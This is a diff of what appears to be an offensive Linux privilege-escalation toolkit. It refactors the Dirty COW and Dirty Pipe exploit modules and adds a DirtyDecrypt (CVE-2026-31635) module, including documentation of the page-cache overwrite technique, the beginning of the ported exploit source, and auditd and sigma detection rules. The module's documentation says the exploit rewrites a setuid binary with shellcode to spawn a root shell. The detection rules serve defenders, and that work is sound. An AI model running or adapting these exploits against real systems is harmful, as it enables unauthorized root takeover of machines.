#include <errno.h>
|
||||||
#include <pwd.h>
|
#include <pwd.h>
|
||||||
@@ -228,22 +232,27 @@ static void revert_passwd_page_cache(void)
|
|||||||
|
|
||||||
static skeletonkey_result_t dirty_cow_detect(const struct skeletonkey_ctx *ctx)
|
static skeletonkey_result_t dirty_cow_detect(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
struct kernel_version v;
|
/* Consult the shared host fingerprint instead of calling
|
||||||
if (!kernel_version_current(&v)) {
|
* kernel_version_current() ourselves — populated once at startup
|
||||||
fprintf(stderr, "[!] dirty_cow: could not parse kernel version\n");
|
* and identical across every module's detect(). */
|
||||||
|
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||||
|
if (!v || v->major == 0) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[!] dirty_cow: host fingerprint missing kernel "
|
||||||
|
"version — bailing\n");
|
||||||
return SKELETONKEY_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool patched = kernel_range_is_patched(&dirty_cow_range, &v);
|
bool patched = kernel_range_is_patched(&dirty_cow_range, v);
|
||||||
if (patched) {
|
if (patched) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] dirty_cow: kernel %s is patched\n", v.release);
|
fprintf(stderr, "[+] dirty_cow: kernel %s is patched\n", v->release);
|
||||||
}
|
}
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[!] dirty_cow: kernel %s is in the vulnerable range\n",
|
fprintf(stderr, "[!] dirty_cow: kernel %s is in the vulnerable range\n",
|
||||||
v.release);
|
v->release);
|
||||||
fprintf(stderr, "[i] dirty_cow: --exploit will race a write to "
|
fprintf(stderr, "[i] dirty_cow: --exploit will race a write to "
|
||||||
"/etc/passwd via /proc/self/mem\n");
|
"/etc/passwd via /proc/self/mem\n");
|
||||||
}
|
}
|
||||||
@@ -258,7 +267,10 @@ static skeletonkey_result_t dirty_cow_exploit(const struct skeletonkey_ctx *ctx)
|
|||||||
return pre;
|
return pre;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (geteuid() == 0) {
|
/* Consult ctx->host->is_root so unit tests can construct a
|
||||||
|
* non-root fingerprint regardless of the test process's real euid. */
|
||||||
|
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||||
|
if (is_root) {
|
||||||
fprintf(stderr, "[i] dirty_cow: already root — nothing to escalate\n");
|
fprintf(stderr, "[i] dirty_cow: already root — nothing to escalate\n");
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
@@ -318,6 +330,34 @@ static skeletonkey_result_t dirty_cow_cleanup(const struct skeletonkey_ctx *ctx)
|
|||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#else /* !__linux__ */
|
||||||
|
|
||||||
|
/* Non-Linux dev builds: the Dirty COW primitive (writer thread via
|
||||||
|
* /proc/self/mem + madvise(MADV_DONTNEED)) is Linux-only kernel
|
||||||
|
* surface. Stub out cleanly so the module still registers and
|
||||||
|
* `--list` / `--detect-rules` work on macOS/BSD dev boxes — and so
|
||||||
|
* the top-level `make` actually completes there. */
|
||||||
|
static skeletonkey_result_t dirty_cow_detect(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] dirty_cow: Linux-only module "
|
||||||
|
"(/proc/self/mem + madvise race) — not applicable here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
static skeletonkey_result_t dirty_cow_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
fprintf(stderr, "[-] dirty_cow: Linux-only module — cannot run here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
static skeletonkey_result_t dirty_cow_cleanup(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif /* __linux__ */
|
||||||
|
|
||||||
/* ---- Embedded detection rules ---- */
|
/* ---- Embedded detection rules ---- */
|
||||||
|
|
||||||
static const char dirty_cow_auditd[] =
|
static const char dirty_cow_auditd[] =
|
||||||
|
|||||||
@@ -32,7 +32,6 @@
|
|||||||
|
|
||||||
#include "skeletonkey_modules.h"
|
#include "skeletonkey_modules.h"
|
||||||
#include "../../core/registry.h"
|
#include "../../core/registry.h"
|
||||||
#include "../../core/kernel_range.h"
|
|
||||||
|
|
||||||
/* _GNU_SOURCE is passed via -D in the top-level Makefile; do not
|
/* _GNU_SOURCE is passed via -D in the top-level Makefile; do not
|
||||||
* redefine here (warning: redefined). */
|
* redefine here (warning: redefined). */
|
||||||
@@ -42,6 +41,11 @@
|
|||||||
#include <string.h>
|
#include <string.h>
|
||||||
#include <stdbool.h>
|
#include <stdbool.h>
|
||||||
#include <unistd.h>
|
#include <unistd.h>
|
||||||
|
|
||||||
|
#ifdef __linux__
|
||||||
|
|
||||||
|
#include "../../core/kernel_range.h" /* used inside this block only */
|
||||||
|
#include "../../core/host.h"
|
||||||
#include <fcntl.h>
|
#include <fcntl.h>
|
||||||
#include <errno.h>
|
#include <errno.h>
|
||||||
#include <sys/stat.h>
|
#include <sys/stat.h>
|
||||||
@@ -254,22 +258,27 @@ static int dirty_pipe_active_probe(void)
|
|||||||
|
|
||||||
static skeletonkey_result_t dirty_pipe_detect(const struct skeletonkey_ctx *ctx)
|
static skeletonkey_result_t dirty_pipe_detect(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
struct kernel_version v;
|
/* Consult the shared host fingerprint instead of calling
|
||||||
if (!kernel_version_current(&v)) {
|
* kernel_version_current() ourselves — populated once at startup
|
||||||
fprintf(stderr, "[!] dirty_pipe: could not parse kernel version\n");
|
* and identical across every module's detect(). */
|
||||||
|
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||||
|
if (!v || v->major == 0) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[!] dirty_pipe: host fingerprint missing kernel "
|
||||||
|
"version — bailing\n");
|
||||||
return SKELETONKEY_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Bug introduced in 5.8. */
|
/* Bug introduced in 5.8. */
|
||||||
if (v.major < 5 || (v.major == 5 && v.minor < 8)) {
|
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 8, 0)) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[i] dirty_pipe: kernel %s predates the bug (introduced in 5.8)\n",
|
fprintf(stderr, "[i] dirty_pipe: kernel %s predates the bug (introduced in 5.8)\n",
|
||||||
v.release);
|
v->release);
|
||||||
}
|
}
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool patched_by_version = kernel_range_is_patched(&dirty_pipe_range, &v);
|
bool patched_by_version = kernel_range_is_patched(&dirty_pipe_range, v);
|
||||||
|
|
||||||
/* Active probe overrides version-only verdict when requested.
|
/* Active probe overrides version-only verdict when requested.
|
||||||
* The version check is necessary-but-not-sufficient: distros
|
* The version check is necessary-but-not-sufficient: distros
|
||||||
@@ -284,7 +293,7 @@ static skeletonkey_result_t dirty_pipe_detect(const struct skeletonkey_ctx *ctx)
|
|||||||
if (probe == 1) {
|
if (probe == 1) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[!] dirty_pipe: ACTIVE PROBE CONFIRMED — primitive lands "
|
fprintf(stderr, "[!] dirty_pipe: ACTIVE PROBE CONFIRMED — primitive lands "
|
||||||
"(version %s)\n", v.release);
|
"(version %s)\n", v->release);
|
||||||
}
|
}
|
||||||
return SKELETONKEY_VULNERABLE;
|
return SKELETONKEY_VULNERABLE;
|
||||||
}
|
}
|
||||||
@@ -307,14 +316,14 @@ static skeletonkey_result_t dirty_pipe_detect(const struct skeletonkey_ctx *ctx)
|
|||||||
if (patched_by_version) {
|
if (patched_by_version) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] dirty_pipe: kernel %s is patched (version-only check; "
|
fprintf(stderr, "[+] dirty_pipe: kernel %s is patched (version-only check; "
|
||||||
"use --active to confirm empirically)\n", v.release);
|
"use --active to confirm empirically)\n", v->release);
|
||||||
}
|
}
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[!] dirty_pipe: kernel %s appears VULNERABLE (version-only check)\n"
|
fprintf(stderr, "[!] dirty_pipe: kernel %s appears VULNERABLE (version-only check)\n"
|
||||||
" Confirm empirically: re-run with --scan --active\n",
|
" Confirm empirically: re-run with --scan --active\n",
|
||||||
v.release);
|
v->release);
|
||||||
}
|
}
|
||||||
return SKELETONKEY_VULNERABLE;
|
return SKELETONKEY_VULNERABLE;
|
||||||
}
|
}
|
||||||
@@ -328,17 +337,20 @@ static skeletonkey_result_t dirty_pipe_exploit(const struct skeletonkey_ctx *ctx
|
|||||||
return pre;
|
return pre;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Resolve current user. */
|
/* Resolve current user. Consult ctx->host->is_root for the
|
||||||
|
* already-root short-circuit so unit tests can construct a
|
||||||
|
* non-root fingerprint regardless of the test process's real euid. */
|
||||||
|
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||||
|
if (is_root) {
|
||||||
|
fprintf(stderr, "[i] dirty_pipe: already running as root — nothing to escalate\n");
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
uid_t euid = geteuid();
|
uid_t euid = geteuid();
|
||||||
struct passwd *pw = getpwuid(euid);
|
struct passwd *pw = getpwuid(euid);
|
||||||
if (!pw) {
|
if (!pw) {
|
||||||
fprintf(stderr, "[-] dirty_pipe: getpwuid(%d) failed: %s\n", euid, strerror(errno));
|
fprintf(stderr, "[-] dirty_pipe: getpwuid(%d) failed: %s\n", euid, strerror(errno));
|
||||||
return SKELETONKEY_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
if (euid == 0) {
|
|
||||||
fprintf(stderr, "[i] dirty_pipe: already running as root — nothing to escalate\n");
|
|
||||||
return SKELETONKEY_OK;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Find the UID field. Need a 4-digit-or-similar UID we can replace
|
/* Find the UID field. Need a 4-digit-or-similar UID we can replace
|
||||||
* with "0000" of identical width. Refuse if the user's UID width
|
* with "0000" of identical width. Refuse if the user's UID width
|
||||||
@@ -407,6 +419,34 @@ static skeletonkey_result_t dirty_pipe_cleanup(const struct skeletonkey_ctx *ctx
|
|||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#else /* !__linux__ */
|
||||||
|
|
||||||
|
/* Non-Linux dev builds: splice() / F_GETPIPE_SZ / posix_fadvise() are
|
||||||
|
* Linux-only kernel surface; the Dirty Pipe primitive is structurally
|
||||||
|
* unreachable elsewhere. Stub out cleanly so the module still
|
||||||
|
* registers and `--list` / `--detect-rules` work on macOS/BSD dev
|
||||||
|
* boxes — and so the top-level `make` actually completes there. */
|
||||||
|
static skeletonkey_result_t dirty_pipe_detect(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] dirty_pipe: Linux-only module "
|
||||||
|
"(splice + PIPE_BUF_FLAG_CAN_MERGE) — not applicable here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
static skeletonkey_result_t dirty_pipe_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
fprintf(stderr, "[-] dirty_pipe: Linux-only module — cannot run here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
static skeletonkey_result_t dirty_pipe_cleanup(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif /* __linux__ */
|
||||||
|
|
||||||
/* Embedded detection rules — keep the binary self-contained so
|
/* Embedded detection rules — keep the binary self-contained so
|
||||||
* `skeletonkey --detect-rules --format=auditd` works without a separate
|
* `skeletonkey --detect-rules --format=auditd` works without a separate
|
||||||
* data-dir install. */
|
* data-dir install. */
|
||||||
|
|||||||
@@ -0,0 +1,81 @@
|
|||||||
|
# dirtydecrypt — CVE-2026-31635
|
||||||
|
|
||||||
|
> 🟡 **PRIMITIVE / ported.** Faithful port of the public V12 PoC into
|
||||||
|
> the `skeletonkey_module` interface. **Not yet validated end-to-end on
|
||||||
|
> a vulnerable-kernel VM** — see _Verification status_ below.
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
DirtyDecrypt (a.k.a. DirtyCBC) is a missing copy-on-write guard in
|
||||||
|
`rxgk_decrypt_skb()` (`net/rxrpc/rxgk_common.h`). The function decrypts
|
||||||
|
incoming rxgk socket buffers **in place** before the HMAC is verified.
|
||||||
|
When the skb fragment pages are page-cache pages — spliced in via
|
||||||
|
`MSG_SPLICE_PAGES` over loopback — the in-place AES decrypt corrupts the
|
||||||
|
page cache of a read-only file.
|
||||||
|
|
||||||
|
It is a sibling of Copy Fail (CVE-2026-31431) and Dirty Frag
|
||||||
|
(CVE-2026-43284 / 43500): same bug class, different kernel subsystem
|
||||||
|
(rxgk / AFS-style rxrpc encryption rather than algif_aead or xfrm-ESP).
|
||||||
|
|
||||||
|
## Primitive
|
||||||
|
|
||||||
|
Each `fire()`:
|
||||||
|
|
||||||
|
1. Adds an `rxrpc` security key holding a crafted rxgk XDR token.
|
||||||
|
2. Opens an `AF_RXRPC` client + a fake UDP server on loopback and
|
||||||
|
completes the rxgk handshake.
|
||||||
|
3. Forges a DATA packet whose **wire header comes from userspace** and
|
||||||
|
whose **payload pages come from the target file's page cache**
|
||||||
|
(`splice` + `vmsplice`).
|
||||||
|
4. The kernel decrypts the spliced page-cache pages in place — the HMAC
|
||||||
|
check then fails (expected), but the page cache is already mutated.
|
||||||
|
|
||||||
|
`pagecache_write()` drives a **sliding-window** technique: byte[0] of
|
||||||
|
each corrupted 16-byte AES block is uniformly random (≈1/256 chance of
|
||||||
|
the wanted value), and round _i+1_ at offset _S+i+1_ overwrites the
|
||||||
|
15-byte collateral of round _i_ without disturbing the byte round _i_
|
||||||
|
fixed. Net cost ≈ 256 fires per byte.
|
||||||
|
|
||||||
|
The exploit rewrites the first 120 bytes of a setuid-root binary
|
||||||
|
(`/usr/bin/su` and friends) with a tiny ET_DYN ELF that calls
|
||||||
|
`setuid(0)` + `execve("/bin/sh")`.
|
||||||
|
|
||||||
|
## Operations
|
||||||
|
|
||||||
|
| Op | Behaviour |
|
||||||
|
|---|---|
|
||||||
|
| `--scan` | Checks AF_RXRPC reachability + a readable setuid carrier. With `--active`, fires the primitive against a disposable `/tmp` file and reports VULNERABLE/OK empirically. |
|
||||||
|
| `--exploit … --i-know` | Forks a child that corrupts the carrier's page cache and execs it for a root shell. `--no-shell` stops after the page-cache write. |
|
||||||
|
| `--cleanup` | Evicts the carrier from the page cache (`POSIX_FADV_DONTNEED` + `drop_caches`). The on-disk binary is never written. |
|
||||||
|
| `--detect-rules` | Emits embedded auditd + sigma rules. |
|
||||||
|
|
||||||
|
## Preconditions
|
||||||
|
|
||||||
|
- `AF_RXRPC` reachable (the `rxrpc` module loadable / built in).
|
||||||
|
- A readable setuid-root binary to use as the payload carrier.
|
||||||
|
- x86_64 (the embedded ELF payload is x86_64 shellcode).
|
||||||
|
|
||||||
|
## Verification status
|
||||||
|
|
||||||
|
This module is a **faithful port** of
|
||||||
|
<https://github.com/v12-security/pocs/tree/main/dirtydecrypt>, compiled
|
||||||
|
into the SKELETONKEY module interface. The **exploit body** has not
|
||||||
|
been validated end-to-end against a known-vulnerable kernel inside the
|
||||||
|
SKELETONKEY CI matrix.
|
||||||
|
|
||||||
|
**`detect()` is now version-pinned** against the mainline fix commit
|
||||||
|
[`a2567217ade970ecc458144b6be469bc015b23e5`][fix] (Linux 7.0): kernels
|
||||||
|
< 7.0 predate the vulnerable rxgk RESPONSE-handling code (Debian
|
||||||
|
tracker confirms older stable branches as <not-affected, vulnerable
|
||||||
|
code not present>), kernels ≥ 7.0 have the fix. With `--active`, the
|
||||||
|
detector runs the rxgk primitive against a `/tmp` sentinel and reports
|
||||||
|
empirically — catches pre-fix 7.0-rc kernels and any distro rebuilds
|
||||||
|
the version check misses.
|
||||||
|
|
||||||
|
[fix]: https://git.kernel.org/linus/a2567217ade970ecc458144b6be469bc015b23e5
|
||||||
|
|
||||||
|
**Before promoting to 🟢:** validate the exploit end-to-end on a 7.0-rc
|
||||||
|
kernel that pre-dates commit `a2567217ade…`. The Debian tracker entry
|
||||||
|
for CVE-2026-31635 is the source of truth for branch-backport
|
||||||
|
thresholds; extend the `kernel_range` table when distros publish
|
||||||
|
stable backports.
|
||||||
@@ -0,0 +1,47 @@
|
|||||||
|
# NOTICE — dirtydecrypt
|
||||||
|
|
||||||
|
## Vulnerability
|
||||||
|
|
||||||
|
**CVE-2026-31635** — "DirtyDecrypt" / "DirtyCBC". Missing copy-on-write
|
||||||
|
guard in `rxgk_decrypt_skb()` (`net/rxrpc/rxgk_common.h`). The function
|
||||||
|
calls `skb_to_sgvec()` then `crypto_krb5_decrypt()` with no
|
||||||
|
`skb_cow_data()`; the `krb5enc` AEAD template (`crypto/krb5enc.c`)
|
||||||
|
decrypts **in place** before verifying the HMAC. When the skb fragment
|
||||||
|
pages are page-cache pages (spliced in via `MSG_SPLICE_PAGES` over
|
||||||
|
loopback), the in-place decrypt corrupts the page cache of a read-only
|
||||||
|
file. The same pattern exists in rxkad (`rxkad_verify_packet_2`).
|
||||||
|
|
||||||
|
Sibling of Copy Fail (CVE-2026-31431) and Dirty Frag
|
||||||
|
(CVE-2026-43284 / CVE-2026-43500) — all are page-cache write
|
||||||
|
primitives that abuse a missing COW boundary.
|
||||||
|
|
||||||
|
## Research credit
|
||||||
|
|
||||||
|
Discovered and reported by **Zellic** and the **V12 security** team.
|
||||||
|
Public proof-of-concept by **Luna Tong** ("cts" / "gf_256") of the
|
||||||
|
V12 security team.
|
||||||
|
|
||||||
|
> Reference PoC: <https://github.com/v12-security/pocs/tree/main/dirtydecrypt>
|
||||||
|
|
||||||
|
The upstream PoC file (`poc.c`) carries no author, project, or
|
||||||
|
`LICENSE` header of its own — its header is a purely technical
|
||||||
|
description of the bug. The credit above is from the public
|
||||||
|
disclosure, not from the file. CVE-2026-31635 was assigned for the
|
||||||
|
flaw; its fix commit is not pinned in this module (see below).
|
||||||
|
|
||||||
|
## SKELETONKEY role
|
||||||
|
|
||||||
|
`skeletonkey_modules.c` is a port of the V12 PoC into the
|
||||||
|
`skeletonkey_module` interface. The exploit primitive — the
|
||||||
|
`fire()` / `pagecache_write()` sliding-window machinery, the rxgk XDR
|
||||||
|
token builder, the 120-byte ET_DYN ELF payload — is reproduced from
|
||||||
|
that PoC. SKELETONKEY adds the detect/cleanup lifecycle, an `--active`
|
||||||
|
sentinel probe, `--no-shell` support, and the embedded detection
|
||||||
|
rules. Research credit belongs to the people above.
|
||||||
|
|
||||||
|
## Verification status
|
||||||
|
|
||||||
|
**Ported, not yet validated end-to-end on a vulnerable-kernel VM.**
|
||||||
|
The CVE-2026-31635 fix commit is not yet pinned in this module, so
|
||||||
|
`detect()` does not perform a kernel-version patched/vulnerable
|
||||||
|
verdict — see `MODULE.md`.
|
||||||
@@ -0,0 +1,28 @@
|
|||||||
|
# DirtyDecrypt (CVE-2026-31635) — auditd detection rules
|
||||||
|
#
|
||||||
|
# The rxgk in-place decrypt corrupts the page cache of a read-only
|
||||||
|
# file. These rules flag the syscall surface the exploit drives and
|
||||||
|
# writes to the setuid binaries it targets.
|
||||||
|
#
|
||||||
|
# Install: copy into /etc/audit/rules.d/ and `augenrules --load`, or
|
||||||
|
# skeletonkey --detect-rules --format=auditd | sudo tee \
|
||||||
|
# /etc/audit/rules.d/99-skeletonkey.rules
|
||||||
|
|
||||||
|
# Modification of common payload carriers / credential files
|
||||||
|
-w /usr/bin/su -p wa -k skeletonkey-dirtydecrypt
|
||||||
|
-w /bin/su -p wa -k skeletonkey-dirtydecrypt
|
||||||
|
-w /usr/bin/mount -p wa -k skeletonkey-dirtydecrypt
|
||||||
|
-w /usr/bin/passwd -p wa -k skeletonkey-dirtydecrypt
|
||||||
|
-w /usr/bin/chsh -p wa -k skeletonkey-dirtydecrypt
|
||||||
|
-w /etc/passwd -p wa -k skeletonkey-dirtydecrypt
|
||||||
|
-w /etc/shadow -p wa -k skeletonkey-dirtydecrypt
|
||||||
|
|
||||||
|
# AF_RXRPC socket creation (family 33) — core of the rxgk trigger
|
||||||
|
-a always,exit -F arch=b64 -S socket -F a0=33 -k skeletonkey-dirtydecrypt-rxrpc
|
||||||
|
|
||||||
|
# rxrpc security keys added to the process keyring
|
||||||
|
-a always,exit -F arch=b64 -S add_key -k skeletonkey-dirtydecrypt-key
|
||||||
|
|
||||||
|
# splice() drives page-cache pages into the forged DATA packet
|
||||||
|
-a always,exit -F arch=b64 -S splice -k skeletonkey-dirtydecrypt-splice
|
||||||
|
-a always,exit -F arch=b32 -S splice -k skeletonkey-dirtydecrypt-splice
|
||||||
@@ -0,0 +1,32 @@
|
|||||||
|
title: Possible DirtyDecrypt exploitation (CVE-2026-31635)
|
||||||
|
id: 7c1e9a40-skeletonkey-dirtydecrypt
|
||||||
|
status: experimental
|
||||||
|
description: |
|
||||||
|
Detects the file-modification footprint of the rxgk page-cache write
|
||||||
|
(DirtyDecrypt / DirtyCBC, CVE-2026-31635): non-root creation of
|
||||||
|
AF_RXRPC sockets followed by modification of a setuid-root binary or
|
||||||
|
a credential file.
|
||||||
|
references:
|
||||||
|
- https://github.com/v12-security/pocs/tree/main/dirtydecrypt
|
||||||
|
logsource:
|
||||||
|
product: linux
|
||||||
|
service: auditd
|
||||||
|
detection:
|
||||||
|
modification:
|
||||||
|
type: 'PATH'
|
||||||
|
name|startswith:
|
||||||
|
- '/usr/bin/su'
|
||||||
|
- '/bin/su'
|
||||||
|
- '/usr/bin/mount'
|
||||||
|
- '/usr/bin/passwd'
|
||||||
|
- '/usr/bin/chsh'
|
||||||
|
- '/etc/passwd'
|
||||||
|
- '/etc/shadow'
|
||||||
|
not_root:
|
||||||
|
auid|expression: '!= 0'
|
||||||
|
condition: modification and not_root
|
||||||
|
level: high
|
||||||
|
tags:
|
||||||
|
- attack.privilege_escalation
|
||||||
|
- attack.t1068
|
||||||
|
- cve.2026.31635
|
||||||
@@ -0,0 +1,963 @@
|
|||||||
|
/*
|
||||||
|
* dirtydecrypt_cve_2026_31635 — SKELETONKEY module
|
||||||
|
*
|
||||||
|
* DirtyDecrypt / DirtyCBC (CVE-2026-31635) — missing copy-on-write guard
|
||||||
|
* in rxgk_decrypt_skb() (net/rxrpc/rxgk_common.h). rxgk_decrypt_skb()
|
||||||
|
* does skb_to_sgvec() + crypto_krb5_decrypt() with no skb_cow_data();
|
||||||
|
* the krb5enc AEAD template decrypts in-place BEFORE verifying the HMAC.
|
||||||
|
* When skb frag pages are page-cache pages (spliced in via
|
||||||
|
* MSG_SPLICE_PAGES over loopback), the in-place decrypt corrupts the
|
||||||
|
* page cache of a read-only file. Sibling of Copy Fail / Dirty Frag.
|
||||||
|
*
|
||||||
|
* This module is a faithful port of the public V12 security PoC
|
||||||
|
* (rxgk pagecache write, github.com/v12-security/pocs/dirtydecrypt,
|
||||||
|
* Luna Tong / "cts"). The exploit primitive (the sliding-window
|
||||||
|
* fire()/pagecache_write() machinery, the rxgk XDR token builder, the
|
||||||
|
* 120-byte ET_DYN ELF) is reproduced from that PoC; see NOTICE.md.
|
||||||
|
*
|
||||||
|
* Port adaptations vs. the standalone PoC:
|
||||||
|
* - wrapped in the skeletonkey_module detect/exploit/cleanup interface
|
||||||
|
* - exploit() runs the PoC body in a forked child so the PoC's
|
||||||
|
* exit()/die() paths cannot tear down the skeletonkey dispatcher
|
||||||
|
* - honours ctx->no_shell (corrupt + verify, do not spawn the shell)
|
||||||
|
* - adds an --active sentinel probe that fires the primitive against
|
||||||
|
* a disposable /tmp file instead of a setuid binary
|
||||||
|
* - the on-disk binary is never written; cleanup() evicts the page
|
||||||
|
* cache (the corruption is a page-cache-only write)
|
||||||
|
*
|
||||||
|
* VERIFICATION STATUS: ported, NOT yet validated end-to-end on a
|
||||||
|
* vulnerable-kernel VM. The fix commit for CVE-2026-31635 is not yet
|
||||||
|
* pinned in this module, so detect() does not do a version-based
|
||||||
|
* patched/vulnerable verdict — see detect() and MODULE.md.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include "skeletonkey_modules.h"
|
||||||
|
#include "../../core/registry.h"
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdbool.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <sys/utsname.h>
|
||||||
|
|
||||||
|
#ifdef __linux__
|
||||||
|
|
||||||
|
/* _GNU_SOURCE / _FILE_OFFSET_BITS are passed via -D in the top-level
|
||||||
|
* Makefile; do not redefine here (warning: redefined). */
|
||||||
|
#include "../../core/kernel_range.h"
|
||||||
|
#include "../../core/host.h"
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <errno.h>
|
||||||
|
#include <sched.h>
|
||||||
|
#include <time.h>
|
||||||
|
#include <poll.h>
|
||||||
|
#include <sys/syscall.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <sys/uio.h>
|
||||||
|
#include <sys/ioctl.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
#include <sys/mman.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
#include <net/if.h>
|
||||||
|
|
||||||
|
#ifdef __has_include
|
||||||
|
# if __has_include(<linux/rxrpc.h>)
|
||||||
|
# include <linux/if.h>
|
||||||
|
# include <linux/rxrpc.h>
|
||||||
|
# include <linux/keyctl.h>
|
||||||
|
# else
|
||||||
|
# define DD_NEED_RXRPC_DEFS
|
||||||
|
# endif
|
||||||
|
#else
|
||||||
|
# include <linux/if.h>
|
||||||
|
# include <linux/rxrpc.h>
|
||||||
|
# include <linux/keyctl.h>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef AF_RXRPC
|
||||||
|
#define AF_RXRPC 33
|
||||||
|
#endif
|
||||||
|
#ifndef SOL_RXRPC
|
||||||
|
#define SOL_RXRPC 272
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifdef DD_NEED_RXRPC_DEFS
|
||||||
|
#define KEY_SPEC_PROCESS_KEYRING (-2)
|
||||||
|
#define RXRPC_SECURITY_KEY 1
|
||||||
|
#define RXRPC_MIN_SECURITY_LEVEL 4
|
||||||
|
#define RXRPC_SECURITY_ENCRYPT 2
|
||||||
|
#define RXRPC_USER_CALL_ID 1
|
||||||
|
struct sockaddr_rxrpc {
|
||||||
|
unsigned short srx_family;
|
||||||
|
uint16_t srx_service;
|
||||||
|
uint16_t transport_type;
|
||||||
|
uint16_t transport_len;
|
||||||
|
union {
|
||||||
|
unsigned short family;
|
||||||
|
struct sockaddr_in sin;
|
||||||
|
struct sockaddr_in6 sin6;
|
||||||
|
} transport;
|
||||||
|
};
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#define RXGK_SECURITY_INDEX 6
|
||||||
|
#define ENCTYPE_AES128_CTS 17
|
||||||
|
#define AES_KEY_LEN 16
|
||||||
|
|
||||||
|
struct rxrpc_wire_header {
|
||||||
|
uint32_t epoch;
|
||||||
|
uint32_t cid;
|
||||||
|
uint32_t callNumber;
|
||||||
|
uint32_t seq;
|
||||||
|
uint32_t serial;
|
||||||
|
uint8_t type;
|
||||||
|
uint8_t flags;
|
||||||
|
uint8_t userStatus;
|
||||||
|
uint8_t securityIndex;
|
||||||
|
uint16_t cksum;
|
||||||
|
uint16_t serviceId;
|
||||||
|
} __attribute__((packed));
|
||||||
|
|
||||||
|
#define RXRPC_PACKET_TYPE_DATA 1
|
||||||
|
#define RXRPC_PACKET_TYPE_CHALLENGE 6
|
||||||
|
#define RXRPC_LAST_PACKET 0x04
|
||||||
|
|
||||||
|
/* dd_verbose gates step/status chatter; errors always print. Set per
|
||||||
|
* invocation from !ctx->json before any helper runs. */
|
||||||
|
static int dd_verbose = 1;
|
||||||
|
#define LOG(fmt, ...) do { if (dd_verbose) \
|
||||||
|
fprintf(stderr, "[*] dirtydecrypt: " fmt "\n", ##__VA_ARGS__); } while (0)
|
||||||
|
#define ERR(fmt, ...) fprintf(stderr, "[-] dirtydecrypt: " fmt "\n", ##__VA_ARGS__)
|
||||||
|
|
||||||
|
/* Candidate setuid-root targets, in preference order. */
|
||||||
|
static const char *const dd_targets[] = {
|
||||||
